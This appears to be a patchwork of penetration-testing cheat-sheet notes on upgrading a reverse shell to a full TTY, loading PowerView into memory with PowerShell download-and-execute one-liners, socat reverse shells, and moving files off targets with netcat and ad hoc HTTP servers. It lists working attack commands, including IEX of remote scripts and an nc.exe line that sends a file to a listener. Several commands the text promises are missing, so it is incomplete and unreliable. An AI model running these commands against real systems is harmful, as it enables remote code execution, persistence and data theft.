python -c 'import pty; pty.spawn("/bin/bash")'
#using arrows
#Ctrl + z
stty raw -echo
fg
# In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
*Linux to Windows
#from Linux to Windows
#Local
(new-object system.net.webclient).downloadstring('http://192.168.1.1/powerview.ps1') | IEX
#Remotly
(new-object system.net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') | IEX
One of my go-to commands for a long time after catching a dumb shell was to use Python to spawn a pty. The pty module let’s you spawn a psuedo-terminal that can fool commands like su into thinking they are being executed in a proper terminal. To upgrade a dumb shell, simply run the following command:
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo
Method 2: Using socat
socat is like netcat on steroids and is a very powerfull networking swiss-army knife. Socat can be used to pass full TTY’s over TCP connections.
If socat is installed on the victim server, you can launch a reverse shell with it. You must catch the connection with socat as well to get the full functions.
The following commands will yield a fully interactive TTY reverse shell:
With a command injection vuln, it’s possible to download the correct architecture socat binary to a writable directoy, chmod it, then execute a reverse shell in one line:
Different methods to setup the server for file transfer
To perform the file transfer we need to setup a server, besides using updog.
updog -p 80
wget
We can use the wget command to transfer the file. wget is a powerful command to download files from the web. It should be noted that while doing file transfer using wget in windows, we need to mention the -o (-OutFile) flag in order to save the file. If we do not mention the flag then it will only return it as an object i.e., WebResponseObject. The command for wget in windows is:
Curl is a powerful command-line tool, which can be used to transfer files using various networking protocols. Following will be the command to transfer the file:
To setup a server using PHP, we can use the following command:
php -S 0.0.0.0:8081
To setup a server using python2, we can use the following command:
python2 -m SimpleHTTPServer 80
To setup a server using python3, we can use the following command:
python3 -m http.server 8000
File transfer using Netcat
Netcat, commonly known as nc, is a multifunctional networking tool designed for reading from and writing to network connections over TCP or UDP. Netcat can facilitate file transfers by establishing a simple client-server setup.
To transfer file in the kali machine from an Ubuntu machine we can use the following command inside kali:
nc -lvp 5555 > file.txt
Now wSimilarly, we can also receive files from a windows machine inside our kali linux. However, it should be noted that we the target windows machine should have the nc.exe binary to make this method work.
Following is the command we need to run on the windows machine:
nc.exe 192.168.31.141 5555 < data.txt
To receive the file in the kali machine, we will run the following command: